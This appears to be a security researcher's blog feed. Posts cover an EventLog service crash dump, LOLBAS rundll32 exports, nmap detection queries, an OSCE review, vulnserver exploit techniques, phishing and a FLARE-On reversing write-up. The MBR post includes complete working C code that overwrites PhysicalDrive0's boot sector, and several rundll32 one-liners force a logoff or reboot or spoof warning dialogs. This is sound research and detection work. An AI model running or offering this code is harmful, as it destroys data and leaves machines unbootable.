<span class="normal">49</span></pre></div></td><td class="code"><div><pre><span></span><code>System info:
OS_VERSION: 10.0.18362.1
BUILDLAB_STR: 19h1_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
Crash Details:
wevtsvc!PerformClearRequest+0x164:
00007ff9`144d0970 4d8b4908 mov r9,qword ptr [r9+8] ds:00000000`00000008=????????????????
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 00007ff9144d0970 (wevtsvc!PerformClearRequest+0x0000000000000164)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000000000008
Attempt to read from address 0000000000000008
PROCESS_NAME: svchost.exe
READ_ADDRESS: 0000000000000008
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 0000000000000000
EXCEPTION_PARAMETER2: 0000000000000008
GROUP: LocalServiceNetworkRestricted
FAULTING_SERVICE_NAME: EventLog
STACK_TEXT:
00000050`fd87ebc0 00007ff9`1446ef7c : 00000000`00000000 00000050`fd87ed00 000001ef`ae433960 00000000`00000000 : wevtsvc!PerformClearRequest+0x164
00000050`fd87ec70 00007ff9`144e461d : 00000000`00000000 00000000`00000000 000001ef`ae433960 00007ff9`1d01fc2c : wevtsvc!ElfPerformRequest+0x6534c
00000050`fd87ecc0 00007ff9`1bc26953 : 000001ef`af397c90 00000000`00000000 00000000`00000002 00007ff9`144eb8f0 : wevtsvc!ElfrClearELFW+0x26d
00000050`fd87edc0 00007ff9`1bc8a036 : 00007ff9`144eac00 00000000`00000000 000001ef`00000000 00007ff9`00000000 : rpcrt4!Invoke+0x73
00000050`fd87ee10 00007ff9`1bbe7a4c : 0067006f`006c0074 00007ff9`0000005d 000001ef`af3f4090 00007ff9`1d01fc2c : rpcrt4!Ndr64StubWorker+0xb56
00000050`fd87f4b0 00007ff9`1bc048c8 : 000001ef`00000001 00007ff9`1bbd816e 00000050`fd87f6a8 00000000`00000001 : rpcrt4!NdrServerCallAll+0x3c
00000050`fd87f500 00007ff9`1bbdc921 : 00000050`fd87f819 00007ff9`144eaea8 00000050`fd87f6f0 00000000`00000001 : rpcrt4!DispatchToStubInCNoAvrf+0x18
00000050`fd87f550 00007ff9`1bbdc1db : 000001ef`ae441b50 00000000`00000001 00000000`00000000 00007ff9`1bc9fca4 : rpcrt4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
00000050`fd87f630 00007ff9`1bbca86f : 00000050`fd87f7d0 000001ef`af6ad8b0 00000000`00000000 00000000`00000000 : rpcrt4!RPC_INTERFACE::DispatchToStub+0xcb
00000050`fd87f690 00007ff9`1bbc9d1a : 00000000`000a147a 00000000`00000001 00000000`00000000 000001ef`af69e1c0 : rpcrt4!LRPC_SCALL::DispatchRequest+0x31f
00000050`fd87f770 00007ff9`1bbc9301 : 00000000`00000002 000001ef`00000000 000001ef`00000000 00000000`00000000 : rpcrt4!LRPC_SCALL::HandleRequest+0x7fa
00000050`fd87f870 00007ff9`1bbc8d6e : 00000000`00000000 00000000`00000000 00000000`00000001 000001ef`ae429d90 : rpcrt4!LRPC_ADDRESS::HandleRequest+0x341
00000050`fd87f910 00007ff9`1bbc69a5 : 00000000`00000001 000001ef`af1b87a0 000001ef`ae429e98 00000050`fd87fd58 : rpcrt4!LRPC_ADDRESS::ProcessIO+0x89e
00000050`fd87fa50 00007ff9`1d01346d : 00000000`00000000 00000000`00000000 000001ef`af1f7220 00000000`00000000 : rpcrt4!LrpcIoComplete+0xc5
00000050`fd87faf0 00007ff9`1d0141c2 : 000001ef`ae43ca50 00000000`00000000 000001ef`ae402340 00000000`00000000 : ntdll!TppAlpcpExecuteCallback+0x14d
00000050`fd87fb40 00007ff9`1c9c7bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!TppWorkerThread+0x462
00000050`fd87ff00 00007ff9`1d04ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
00000050`fd87ff30 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
</code></pre></div></td></tr></table></div>Interesting DLL exports2020-03-12T10:24:00+08:002020-03-12T10:24:00+08:00Benjamin Limtag:limbenjamin.com,2020-03-12:/articles/interesting-DLL-exports.html<p>Found a couple of interesting DLL exports while hunting for LOLBAS. Most of these have not been documented as far as I know. There are potentially a lot more out there, the system was behaving strangely when enumerating the list of exports. Unfortunately, I do not know of a good …</p><p>Found a couple of interesting DLL exports while hunting for LOLBAS. Most of these have not been documented as far as I know. There are potentially a lot more out there, the system was behaving strangely when enumerating the list of exports. Unfortunately, I do not know of a good way to determine the effect a command has on a system. It is trivial for obvious cases like logoff or reboot, or if the export name is descriptive, e.g. DnsFlushResolverCache. It can be challenging in other cases.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="go"># Logoff</span>
<span class="go">rundll32 userinitext.dll,ProcesRemoteSessionInitialCommand</span>
<span class="go"># Reboot</span>
<span class="go">rundll32 BdeHdCfgLib.dll,BdeCfgRestart</span>
<span class="go"># ipconfig /flushdns</span>
<span class="go">rundll32 dnsapi.dll,DnsFlushResolverCache</span>
<span class="go"># App incompatibility warning message - Text injection/Content Spoofing</span>
<span class="go">rundll32 FirewallControlPanel.dll,ShowWarningDialog C:\Windows\System32\T3xt_1nj3ct10n.exe</span>
<span class="go">rundll32 FirewallControlPanel.dll,ShowWarningDialog C:\Windows\System32\cmd.exe</span>
<span class="go">rundll32 FirewallControlPanel.dll,ShowWarningDialog "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.1911.3-0\MsMpEng.exe"</span>
<span class="go"># Install inf files</span>
<span class="go"># Have not been able to weaponize it</span>
<span class="go">rundll32 printui.dll,PrintUIEntry</span>
</code></pre></div></td></tr></table></div>
<p><img alt="image" src="https://limbenjamin.com/media/text_injection.png"></p>Expanding on Pyramid of Pain2020-03-01T13:07:00+08:002020-03-01T13:07:00+08:00Benjamin Limtag:limbenjamin.com,2020-03-01:/articles/expanding-on-pyramid-of-pain.html<p>I believe most threat hunters would already be familiar with the Pyramid of Pain. Most hunters aim to detect artefacts and tools, as they are higher up the pyramid. However, there is scarce information available to guide them in doing so. Using my red team knowledge, I would like to …</p><p>I believe most threat hunters would already be familiar with the Pyramid of Pain. Most hunters aim to detect artefacts and tools, as they are higher up the pyramid. However, there is scarce information available to guide them in doing so. Using my red team knowledge, I would like to expand on the tools segment of the pyramid of pain to help threat hunters write better tool detection queries.</p>
<p><img alt="image" src="//limbenjamin.com/media/threathunt.png"></p>
<h2>Executable Name</h2>
<p>To detect the use of <code>nmap</code>, the most straightforward query would simply be <code>sourcetype=os_logs process.name="nmap.exe"</code>. Some hunters will stop here and pat themselves on the back for reaching the top of the Pyramid of Pain. Unfortunately, it is one of the easiest query to circumvent. Almost every computer user knows how to rename a file. In this case, renaming <code>nmap</code> is sufficient to circumvent this query. No self respecting adversary is going to commit this mistake, the only instances of <code>nmap</code> you detect would be those owned by sysadmins who have no reason to hide their use of the binary. </p>
<p>Sophisticated adversaries will even choose a name which suits the functionality of the tool. I like using a variant of <code>print discovery utility.exe</code>. Most printer vendors release utilities which will scan the subnet to detect connected printers and automatically install and configure it. A befitting name for <code>nmap</code> indeed.</p>
<p>Also, certain OS binaries like <code>rundll32.exe</code> and <code>mavinject.exe</code> will work even if it has been renamed. Adversaries will make a copy of such binaries, place it in a different folder and profit.</p>
<h2>Version Info</h2>
<p>Detection based on Version Info resource is more frequently seen in YARA rules and less commonly available in threat hunting solutions. To detect <code>nmap</code> which is published by <code>Insecure.org</code>, a query such as <code>sourcetype=os_logs process.version_info="*Insecure.org*"</code> would be used. I would categorise it as a step above executable name as it causes slightly greater pain for the adversary. Instead of simply renaming the binary, the adversary has to use tools such as Resource Hacker to modify the Version Info. </p>
<p>If a binary is signed, such a modification would cause the signature verification to fail.</p>
<p><img alt="image" src="//limbenjamin.com/media/resourcehacker.png"></p>
<h2>CLI arguments</h2>
<p>Detection based on CLI arguments bring even greater pain to the adversary. To detect <code>nmap</code>, such a query may look like <code>sourcetype=os_logs (process.command_line="*--top-ports*" || process.command_line="* -p21,*" || process.command_line="* -p22,*"</code>. In order for the adversary to circumvent CLI argument detection, he will need to modify the source code and recompile the tool, or to change individual bytes in the binary itself. </p>
<p>A bit of human psychology is at play here. Humans will tend to list numbers in ascending order, i.e. <code>"-p21,22,80,139,443,445,3389"</code>. Hence, by detecting the first few common ports, we will likely be able to catch most attempts. Listing every single combination exhaustively would just place too much stress on the query engine.</p>
<p>I have seen hunters write queries such as <code>sourcetype=os_logs process.name="rundll32.exe" && process.command_line="*zipfldr.dll,RouteTheCall*"</code>. Such a query is indeed useful in cutting down false positives and only picking up misuse of <code>rundll32.exe</code>. However, in terms of Pyramid of Pain, such a query would belong to the "Executable Name" level since it breaks once the adversary renames <code>rundll32.exe</code>. For it to belong at the CLI arguments level, the query should look like <code>sourcetype=os_logs process.command_line="*,RouteTheCall*"</code>. Of course, when crafting such queries, it is important to find command line arguments which are unique enough to stand alone by itself.</p>
<p><img alt="image" src="//limbenjamin.com/media/dllordinal.png"></p>
<p>Do take note that DLL exports can be called using their ordinal numbers as well. For example, <code>PrintUIEntryW</code> is ordinal <code>#3</code>. Hence, <code>rundll32 printui.dll,PrintUIEntry</code> can also be executed using the command <code>rundll32 printui.dll,#3</code>. As far as I know, using ordinal numbers will cause issues with arguments passed to the DLL, hence it does not work for certain LOLBAS. </p>
<h2>All</h2>
<p>Writing good queries require a bit of creativity and in depth understanding of the tools involved. I have found JPCERT's <a href="https://jpcertcc.github.io/ToolAnalysisResultSheet/">resources</a> to be very useful in understanding the various artefacts that are created when such tools are run. Hunters will also need to run these tools themselves, figure out how they work before they can write good queries.</p>
<p>This section is named all because a combination of all different indicators used in a creative manner is the answer to good detection with low false positives. Adversaries may adopt some of these tactics to avoid detection, but as long as they miss out on one, you would be able to detect them. i.e. To detect <code>nmap</code>, a query like <code>sourcetype=os_logs (process.version_info="*Insecure.org*" || process.command_line="*--top-ports*" || process.command_line="* -p21,*" || process.command_line="* -p22,*")</code> uses multiple indicators. Adversaries will need to circumvent both the Version Info and the CLI arguments portion of the query to escape detection.</p>
<p>Happy hunting!</p>OSCE review2020-02-08T09:13:00+08:002020-02-08T09:13:00+08:00Benjamin Limtag:limbenjamin.com,2020-02-08:/articles/osce-review.html<p>I have written an <a href="https://limbenjamin.com/articles/oscp-review.html">OSCP review</a> and a <a href="https://limbenjamin.com/articles/SANS-SEC660-review.html">SANS SEC660 review</a> a few years ago. As time passes, I find these reviews harder and harder to write. Over the years, I have learnt on the job, through my own research and through such courses and CTFs. All this prior knowledge …</p><p>I have written an <a href="https://limbenjamin.com/articles/oscp-review.html">OSCP review</a> and a <a href="https://limbenjamin.com/articles/SANS-SEC660-review.html">SANS SEC660 review</a> a few years ago. As time passes, I find these reviews harder and harder to write. Over the years, I have learnt on the job, through my own research and through such courses and CTFs. All this prior knowledge has made it very difficult for me to give an unbiased accurate review of the difficulty of the OSCE course. Nonetheless, I will give some tips on how best to prepare for the exam. </p>
<blockquote>
<p>This cert proves mastery of advanced penetration testing skills. OSCEs have also demonstrated they can think laterally and perform under pressure.</p>
</blockquote>
<p>Firstly, in Offensive Security's own words, this is an advanced penetration testing course, not a binary exploitation course. I made the mistake of focusing too much on the binary part of the course. Apart from the course material, I practiced on vulnserver, brainpan, Integard, pcmanftp, savant, simplewebserver and yplayer. My lack of preparation in the other aspects caused me quite a bit of suffering during the exam. I would advise you to spend some time working on other penetration testing skills such as enumeration, file transfer and privesc. </p>
<p>Many reviews out there suggest completing the SLAE course before attempting OSCE. As part of the SLAE course, candidates will need to submit 7 shellcode exercises in the form of a public blogpost. I did not want to pay for the SLAE course, therefore I simply searched for <code>Student ID: SLAE-</code>, read the exercise requirements and tried them out on my own. Some of the blogposts have very detailed explanation for the shellcode which helped me especially since I did not have access to the SLAE course material. Do note that the SLAE covers linux shellcoding while OSCE covers windows shellcoding. I would say that being able to write shellcode helped a lot during the exam. I was able to write my own shellcode instead of copy pasting shellcode from shell-storm and hoping that it works. </p>
<p>The first 12 hours of the exam was smooth sailing for me. I managed to complete the 2 smaller challenges and had partial credit for the 2 larger challenges. I was well ahead of schedule. However, unbeknown to me at that time, I was woefully unprepared for the penetration testing portion that would come next. After 5 hours sleep on the first night, I continued with the 2 larger challenges. I spent the next 14 hours alternating between the 2 challenges, barely making any progress. By now, I was starting to panic as I did not have enough points to pass. I finally had a breakthrough and solved 1 of the larger challenge after 31 hours in. I completed the final challenge 36 hours in. After spending 2 more hours double checking and taking extra screenshots, I called it a day and had a good sleep knowing that I fully solved all 4 challenges on my first exam attempt. </p>
<p>I submitted the report on a Friday morning and received confirmation that I passed on Monday morning. The confirmation was quick probably because I managed to fully complete all objectives. It would probably take longer if they have to work out partial credit. </p>
<p>Good luck!</p>Vulnserver - Order of difficulty2020-01-23T23:34:00+08:002020-01-23T23:34:00+08:00Benjamin Limtag:limbenjamin.com,2020-01-23:/articles/vulnserver-order-of-difficulty.html<p>Most guides out there give a walkthrough on solving individual functions within vulnserver. However, when practising for OSCE, I do not want the solutions. Instead, I want to know the order of difficulty of the various functions so I can start from the easiest function and work my way towards …</p><p>Most guides out there give a walkthrough on solving individual functions within vulnserver. However, when practising for OSCE, I do not want the solutions. Instead, I want to know the order of difficulty of the various functions so I can start from the easiest function and work my way towards the harder ones. In this article, I am first going to rank the functions in terms of difficulty, then I am going to give a rough explanation on the technique that needs to be used for each function. If you do not want spoilers, please stop reading after the first section.</p>
<h2>1 - Ranking of difficulty of functions</h2>
<p>From easiest to hardest:</p>
<ol>
<li>TRUN</li>
<li>GMON</li>
<li>GTER </li>
<li>KSTET </li>
<li>HTER </li>
<li>LTER </li>
</ol>
<div class="admonition other">
<p class="admonition-title">Spoilers Ahead</p>
<p>Stop reading here if you do not want to know the technique used to solve each function </p>
</div>
<h2>2 - Techniques required</h2>
<ol>
<li>TRUN - Generic EIP override.</li>
<li>GMON - Generic SEH override.</li>
<li>GTER - SEH override with limited buffer space. May require egghunter.</li>
<li>KSTET - SEH override with extremely limited buffer space. Will require egghunter.</li>
<li>HTER - EIP override. Input is encoded in a very interesting way.</li>
<li>LTER - 2 viable methods. EIP override with bad characters, which is the easier method to solve. SEH override with extremely limited buffer space and bad characters. May require ROP chain.</li>
</ol>
<p>As far as I know, the rest of the functions (STATS RTIME LTIME GDOG KSTAN) cannot be exploited and are probably used to practice fuzzing.</p>Free fresh notes for ang bao2020-01-16T19:12:00+08:002020-01-16T19:12:00+08:00Benjamin Limtag:limbenjamin.com,2020-01-16:/articles/free-fresh-notes-for-ang-bao.html<p>I came up with this technique a few years ago and never had to queue for fresh notes for ang bao since. Hence, I believe it is worth sharing.</p>
<p>When you receive your ang bao this year, do not spend or deposit the fresh notes. Keep it and pass it …</p><p>I came up with this technique a few years ago and never had to queue for fresh notes for ang bao since. Hence, I believe it is worth sharing.</p>
<p>When you receive your ang bao this year, do not spend or deposit the fresh notes. Keep it and pass it to your parents to fill their ang bao for Chinese New Year next year. If desired, you can get your parents to bank transfer the amount to you. You will save time queueing for fresh notes next year and save the environment by reducing the amount of fresh notes needed.</p>
<p>Happy Chinese New Year!</p>Phishing with actual bait2019-12-16T19:09:00+08:002019-12-16T19:09:00+08:00Benjamin Limtag:limbenjamin.com,2019-12-16:/articles/phishing-with-actual-bait.html<p>If you received an email like the one below, would you try out the voucher code and see if it works? I sure as heck would, there is literally zero risk from doing so. Assuming the voucher code works and your account is credited with $5 immediately, how far would …</p><p>If you received an email like the one below, would you try out the voucher code and see if it works? I sure as heck would, there is literally zero risk from doing so. Assuming the voucher code works and your account is credited with $5 immediately, how far would you be willing to go to get an additional $10? I believe many people would not even think twice about clicking on a link, disabling AV, enabling macros, double clicking on exe files, or even lying to IT support... </p>
<p><img alt="image" src="//limbenjamin.com/media/phish.png"></p>
<p>In the grand scheme of things, a determined adversary would have no qualms spending a few hundred to gain a foothold in your organization. Checking which voucher codes are used can also help the attacker determine how many targets have opened the email but chose not to proceed with the document. Preventing attackers from gaining entry works only to a certain extent, early detection of compromise is equally important.</p>Overwriting MBR2019-11-01T20:09:00+08:002019-11-01T20:09:00+08:00Benjamin Limtag:limbenjamin.com,2019-11-01:/articles/overwriting-mbr.html<p>We have all come across malware which overwrites the Master Boot Record (MBR) of a machine, leaving it unbootable. The code required to overwrite the MBR is surprisingly simple. We will first need to open a write handle to the physical device using the CreateFile API. The MBR is stored …</p><p>We have all come across malware which overwrites the Master Boot Record (MBR) of a machine, leaving it unbootable. The code required to overwrite the MBR is surprisingly simple. We will first need to open a write handle to the physical device using the CreateFile API. The MBR is stored in the very first sector (512 bytes) of the hard drive, it is outside the C:\ NTFS volume, hence we need direct write access to the raw device. The <code>OVERLAPPED</code> structure is used because we want to be able to control the offset where the first byte is written. For the case of the MBR, the offset is 0 since it is the first sector. However, this technique can be used to overwrite other unallocated sectors outside the file system, in which case the offset will need to be set accordingly. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="n">CHAR</span><span class="o">*</span><span class="w"> </span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">OVERLAPPED</span><span class="w"> </span><span class="n">osWrite</span><span class="p">;</span>
<span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">osWrite</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">512</span><span class="p">));</span>
<span class="w"> </span><span class="n">osWrite</span><span class="p">.</span><span class="n">Offset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">osWrite</span><span class="p">.</span><span class="n">OffsetHigh</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">osWrite</span><span class="p">.</span><span class="n">hEvent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">CHAR</span><span class="w"> </span><span class="n">buffer</span><span class="p">[</span><span class="mi">512</span><span class="p">];</span>
<span class="w"> </span><span class="n">strncpy_s</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="w"> </span><span class="s">"Here lies 512 bytes of garbage which will be used to overwrite your MBR... PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING \</span>
<span class="s"> PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXX \</span>
<span class="s"> PADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGXXXX"</span><span class="p">,</span><span class="mi">512</span><span class="p">);</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hHandle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateFile</span><span class="p">(</span><span class="sa">L</span><span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">PhysicalDrive0"</span><span class="p">,</span><span class="w"> </span><span class="n">GENERIC_READ</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">GENERIC_WRITE</span><span class="p">,</span><span class="w"> </span><span class="n">FILE_SHARE_READ</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">FILE_SHARE_WRITE</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">OPEN_EXISTING</span><span class="p">,</span><span class="w"> </span><span class="n">FILE_FLAG_OVERLAPPED</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">FILE_FLAG_NO_BUFFERING</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="n">WriteFile</span><span class="p">(</span><span class="n">hHandle</span><span class="p">,</span><span class="w"> </span><span class="n">buffer</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">512</span><span class="p">),</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">osWrite</span><span class="p">);</span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hHandle</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"MBR Write Complete</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></td></tr></table></div>FLARE-On 6 - Solve vv_max by hand2019-10-03T21:01:00+08:002019-10-03T21:01:00+08:00Benjamin Limtag:limbenjamin.com,2019-10-03:/articles/flare-on-6-solve-vv-max-by-hand.html<p>After looking at the published solutions for FLARE-On 6, I realised that for challenge 11, vv_max, most people used a script to either reverse the AVX functions or to brute force it. My approach was different, I made use of memory breakpoints strategically placed at the address of the arrays …</p><p>After looking at the published solutions for FLARE-On 6, I realised that for challenge 11, vv_max, most people used a script to either reverse the AVX functions or to brute force it. My approach was different, I made use of memory breakpoints strategically placed at the address of the arrays to find out which AVX function modified the array and manually reversed each function to arrive at the 32 character input. Most of the AVX functions tend to involve 1 dynamic variable and 1 static variable which is not affected by the input. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span>
<span class="normal">63</span>
<span class="normal">64</span>
<span class="normal">65</span>
<span class="normal">66</span>
<span class="normal">67</span>
<span class="normal">68</span>
<span class="normal">69</span>
<span class="normal">70</span>
<span class="normal">71</span>
<span class="normal">72</span>
<span class="normal">73</span>
<span class="normal">74</span>
<span class="normal">75</span></pre></div></td><td class="code"><div><pre><span></span><code>final_byte_arr = 70 70 B2 AC 01 D2 5E 61 0A A7 2A A8 00 00 00 00 08 1C 86 1A E8 45 C8 29 B2 F3 A1 1E 00 00 00 00
vpshufb_static = 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF
vpmaddwd_static = 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00
vpmaddubsw_static = 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01
vpshufb_static2 = 00 10 13 04 BF BF B9 B9 00 00 00 00 00 00 00 00 00 10 13 04 BF BF B9 B9 00 00 00 00 00 00 00 00
vpand_static = 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F
# The complete equation is as follows:
final_byte_arr = vpshufb(vpmaddwd(vpmaddubsw(vpaddb(input, intermediate_byte_arr), vpmaddubsw_static), vpmaddwd_static), vpshufb_static)
intermediate_byte_arr = vpshufb(vpand(vpsrld(input, 0x4), vpand_static), vpshufb_static2)
# Tracing backwards from final byte array
# Reverse vpshufb (Shift position of bytes based on index in mask)
IND 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F
MAS 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF
DES 70 70 B2 AC 01 D2 5E 61 0A A7 2A A8 00 00 00 00 08 1C 86 1A E8 45 C8 29 B2 F3 A1 1E 00 00 00 00
SRC B2 70 70 00 D2 01 AC 00 0A 61 5E 00 A8 2A A7 00 86 1C 08 00 45 E8 1A 00 B2 29 C8 00 1E A1 F3 00
# Reverse vpmaddwd (This function is rather hard to invert, I eyeballed the position of each nibble based on patterns)
IND 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F
DES B2 70 70 00 D2 01 AC 00 0A 61 5E 00 A8 2A A7 00 86 1C 08 00 45 E8 1A 00 B2 29 C8 00 1E A1 F3 00
SRC 07 07 B2 00 C0 0A D2 01 E6 05 0A 01 72 0A A8 0A 81 00 86 0C AE 01 45 08 82 0C B2 09 3A 0F 1E 01
# Reverse vpmaddubsw (Just Math. 40x + 1y)
IND 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F
MAS 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01
DES 07 07 B2 00 C0 0A D2 01 E6 05 0A 01 72 0A A8 0A 81 00 86 0C AE 01 45 08 82 0C B2 09 3A 0F 1E 01
SRC 1C 07 02 32 2B 00 07 12 17 26 04 0A 29 32 2A 28 02 01 32 06 06 2E 21 05 32 02 26 32 3C 3A 04 1E
707 (40 x 1C) + (01 x 7)
0b2 (40 x 2) + (01 x 32)
ac0 (40 x 2b) + (01 x 0)
1d2 (40 x 7) + (01 x 12)
5e6 (40 x 17) + (01 x 26)
10a (40 x 4) + (01 x a)
a72 (40 x 29) + (01 x 32)
aa8 (40 x 2a) + (01 x 28)
081 (40 x 2) + (01 x 1)
c86 (40 x 32) + (01 x 6)
1ae (40 x 6) + (01 x 2e)
845 (40 x 21) + (01 x 5)
c82 (40 x 32) + (01 x 2)
9b2 (40 x 26) + (01 x 32)
f3a (40 x 3c) + (01 x 3a)
11e (40 x 4) + (01 x 1e)
# At this point, we have
vpaddb(input, intermediate_byte_arr) = 1C 07 02 32 2B 00 07 12 17 26 04 0A 29 32 2A 28 02 01 32 06 06 2E 21 05 32 02 26 32 3C 3A 04 1E
# It gets a bit tricky to reverse past this point because the 32 character input is eventually used in both inputs to the vpaddb function.
# However, for all remaining functions, a change in input at position X will only result in a change in output at position X.
# Hence, we can use a state table.
# vpaddb state table
# Note that the symbols and numbers have some overlap in output bytes.
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
